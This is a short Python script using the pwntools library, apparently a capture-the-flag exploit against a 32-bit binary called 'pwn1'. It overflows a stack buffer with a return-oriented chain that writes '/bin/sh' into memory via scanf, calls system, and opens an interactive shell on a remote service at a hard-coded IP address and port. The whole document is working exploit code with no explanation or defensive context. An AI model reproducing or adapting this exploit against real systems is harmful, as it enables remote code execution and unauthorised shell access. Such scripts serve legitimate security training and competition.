#!/usr/bin/env python
from pwn import *

DEBUG = 0
elf = ELF('./bin/pwn1')
plt_scanf = elf.symbols['__isoc99_scanf']
plt_system = elf.symbols['system']
plt_puts = elf.symbols['puts']
got_puts = elf.symbols['puts']
got_setbuf = elf.got['setbuf']
got_system= elf.got['system']
got_strcpy = elf.got['strcpy']
data_addr = 0x0804a048
main_addr = 0x080485fd
binsh_addr = 0x0804A510

#context.log_level = 'debug'
if DEBUG:
    p = process('./bin/pwn1')
    
else:
    p = remote("106.75.31.126", 20000)

def inputName(name):
    p.recvuntil("input your name:")
    p.sendline(name)

def showInfo():
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil("\n")

def exp():
    payload = 'a'*(0x88+4)
    payload += p32(plt_scanf)
    payload += p32(0x080487ad) # pop pop ret
    payload += p32(0x0804888f) # "%256s"
    payload += p32(binsh_addr)
    payload += p32(plt_system)
    payload += 'a'*4
    payload += p32(binsh_addr)
    inputName(payload)
    raw_input("bp")
    showInfo()
    p.sendline("/bin/sh\x00")
    p.interactive()

exp()   